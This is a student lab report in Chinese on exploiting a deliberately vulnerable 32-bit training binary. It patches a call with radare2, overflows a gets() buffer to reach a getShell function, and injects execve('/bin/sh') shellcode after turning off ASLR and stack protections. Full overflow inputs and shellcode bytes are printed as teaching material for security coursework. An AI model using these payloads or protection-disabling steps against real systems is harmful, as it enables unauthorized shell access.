20252912 2024-2025-2 《网络攻防实践》实验九
1 实验内容
有一个名为pwn1的linux可执行文件,该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的
1.1 通过修改文件跳转到getshell
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
1.2 利用缓冲区溢出漏洞跳转到getshell
利用foo函数的缓冲区溢出漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
1.3 通过自制shellcode得到shell
注入一个自己制作的shellcode并运行这段shellcode
2 基础知识
2.1 Radare2
Radare2(r2)是一个功能强大、开源且跨平台的逆向工具,与 IDA Pro 等商业工具不同,Radare2 的核心是命令行界面,更加轻量且具有更好的灵活性和脚本化能力,kali中一般自带Radare2工具
# 加载并自动分析二进制文件
r2 -A 文件路径
# 以可写的方式分析二进制文件
r2 -Aw 文件路径
# 列出所有函数及其地址等信息
afl
# 跳转到某个地址/某个函数所在位置
s 地址/函数名
# 反汇编所在位置或者函数
pdf
# 反汇编函数
pdf @ 函数名
# 列出可打印字符串
iz
# 进入可视化模式,浏览多个视图
v
# 以16进制方式修改所在位置指令
wx 16进制
# 以汇编代码的方式修改所在位置指令
wa 汇编代码
2.2 gdb
gdb是 Linux 环境下强大的命令行调试工具
# 调试程序
gdb 程序路径
# 运行程序
r
# 设置断点
b *地址
# 继续运行程序
c
# 执行下一条指令
si
# 跟踪进程
attach 进程id
# 查看寄存器的值
info r
# 打印变量的值
p 变量
# 以16进制形式显示16字节所在内存单元的数据
x/16x 地址
3 实验过程
3.1 分析程序
使用file查看文件类型

可以看到pwn1为ELF文件,即linux平台的可执行文件,所以我们可以在自己的kali中尝试运行下这个程序

随便输入了一些内容,发现这个程序的功能是将输入的内容直接输出,当输入的内容过长时便会报错
接下来我们用Radare2工具对其进行逆向分析
# -A对文件进行反汇编
r2 -A pwn2912
# 查看文件中的所有函数
afl


我们从main函数入手,查看汇编代码
pdf@main

解释一下main函数做了啥事:
push ebp
mov ebp,esp ;函数开头都这样写,将函数栈底地址入栈保存,然后将栈顶地址赋值给栈底地址,等价于一条enter命令
and esp,0xffffff0 ;将栈顶指针对齐16字节
call sym.foo ;调用sym.foo函数
mov eax,0 ;eax赋值为0,eax为函数的返回值,相当于return 0
leave ;等价于move esp,ebp , pop ebp与enter互逆
ret ;弹出栈中的返回地址并跳转
所以main函数中仅仅调用了sym.foo函数,因此下面分析下sym.foo函数的汇编代码
pdf@sym.foo

push ebp
mov ebp, esp
sub esp, 0x38 ;esp-0x38
lea eax, [s] ;相当于eax=&(*s),把s指向的地址赋值给eax
mov dword [esp], eax ;将eax赋值给esp指向的内存区域
call sym.imp.gets ;调用gets函数
lea eax, [s]
mov dword [esp], eax
call sym.imp.puts ;调用puts函数
leave
ret
因此这个函数主要功能是将直接输出用户输入的字符串,与我们运行时看到的结果一致,当输入的字符串过长时报错可能就是s指向的内存空间溢出导致的

这个函数的功能就是system("/bin/sh")打开终端
3.2 通过修改文件跳转到getshell
通过前面的分析可知,main函数调用了foo函数,foo函数的地址为0x8048491,call指令的下一条指令地址为0x80484ba,打开kali中的计算器,使用编程模式,32位,计算偏移量为-29,将-29按位取反后加一得到补码ffffffd7

而main函数中的call指令二进制为e8d7ffffff,由此可知e8为call的操作码,d7ffffff为偏移量,以小端方式存储
我们只需要修改偏移量使得call调用getShell函数即可,getShell函数的地址为0x804847d,使用计算器计算偏移量为ffffffc3

因此我们只需要将指令e8d7ffffff改为e8c3ffffff即可
# 拷贝一下pwn2912
cp pwn2912 pwn2912_
# -w 以写方式打开pwn2912_
r2 -Aw pwn2912_
# 跳转到call命令所在地址
s 0x080484b5
# 以16进制方式修改所在位置的命令
wx e8c3ffffff
# 查看当前位置的第一条命令,验证是否修改
pd1


可以看到,我们已经修改成功
其实也可以在跳转到call命令所在地址后使用wa call sym.getShell以汇编的形式直接修改,不用计算偏移量,更加的方便,这里为了展示一下程序的底层原理于是用了16进制的方式修改
接下来运行pwn2

成功getShell
3.3 利用缓冲区溢出漏洞跳转到getshell
使用gdb调试pwn1
gdb pwn2912
# 运行程序
r
# 查看寄存器状态
info r



eip寄存器指向下一条指令的地址,当输入字符串"0000111122223333444455556666777788889999"时,eip内容是0x38383838,0x38为'8'的ASCII码,因此缓冲区长度为8*4B=32B
getShell函数的地址为0x804847d,由于eip中的字节以小端形式存储,因此跳转到getShell函数应当构造输入:00000000000000000000000000000000\x7d\x84\x04\x08
由于\x7d\x84\x04\x08为不可打印字符,因此我们先将输入存到文件中,再将文件内容传给程序
echo echo "00000000000000000000000000000000\x7d\x84\x04\x08" > input
(cat input; cat) | ./pwn2912
运行结果:

缓冲区成功溢出!
3.4 通过自制shellcode得到shell
由于我们注入的Shellcode需要在栈中执行,因此首先要设置程序的堆栈区域可执行,由于我们是采用覆盖ret指令的返回地址为Shellcode首地址的方式,而Shellcode在栈中,因此要保证程序每次运行时Shellcode在栈中的地址固定,因此需要关闭地址随机化ASLR
# 设置pwn1堆栈区域可执行
execstack -s pwn2912
# 关闭地址随机化ASLR
echo "0" > /proc/sys/kernel/randomize_va_space
这里我们将shellcode注入到返回地址所在位置的下一个位置,因此首先要确定返回地址的存储位置,而当程序执行到ret时,esp正好指向返回地址
这里我们开两个终端,第一个终端运行pwn1后暂时先不输入,第二个终端执行下面命令
# 过滤含有pwn2912的进程,得到pwn1进程的id
ps -ef | grep pwn2912
gdb
# gdb跟踪pwn2912进程
attach pwn2912进程的id
# 0x80484ae是ret指令的地址,在这里设置断点
b *0x80484ae
接下来在第一个终端中随便输入写字符串然后回车,此时进程没有反应,因为此时进程处于调试状态,接着在第二个终端执行:
# 继续运行程序到断点
c
# 运行到ret位置时查看esp指向的地址
info r esp
终端1:

终端2:


由此我们得到返回地址的存储地址为0xffffcebc,长度为4B,因此我们的shellcode首地址为0xffffcec0
前面提到缓冲区长度为32B,我们用32个'0'填充
返回地址改为小端形式"\xc0\xce\xff\xff"
shellcode可以在网站上面的,自己写好后编译转为16进制也没问题,这里我找了一个"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"
于是得到我们需要的合适输入:
00000000000000000000000000000000\xc0\xce\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
echo "00000000000000000000000000000000\xc0\xce\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00">input
(cat input; cat)| ./pwn2912
执行结果:

成功得到shell
4 实验问题
4.1 kali中没有execstack工具
执行sudo apt update && sudo apt install execstack无法下载

于是只好手动下载
http://archive.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1ubuntu1_amd64.deb
执行sudo dpkg -i execstack_0.0.20131005-1.1ubuntu1_amd64.deb安装

4.2 实验3.4中缓冲区溢出失败
关闭ASLR之后为了获得返回地址的存储位置,一开始我直接使用gdb调试程序,设置断点运行到ret查看esp指向地址

这里esp指向的地址与实验中gdb跟踪的进程的esp地址不一样,gdb调试程序时程序运行在gdb设置的特定环境中,与程序正常运行的环境有所区别,因此两种环境下esp指向地址不同,如果用gdb调试环境下的esp地址制作shellcode当然是不行的,因此有了实验中的在bash中运行程序,gdb通过attch监听,此时得到的esp地址才可用于shellcode
5 实验感悟
这次攻防实验不仅提升了我的动手能力,更让我对程序内存布局、漏洞利用原理有了更深入的理解,为后续的Pwn学习打下了坚实基础。
浙公网安备 33010602011771号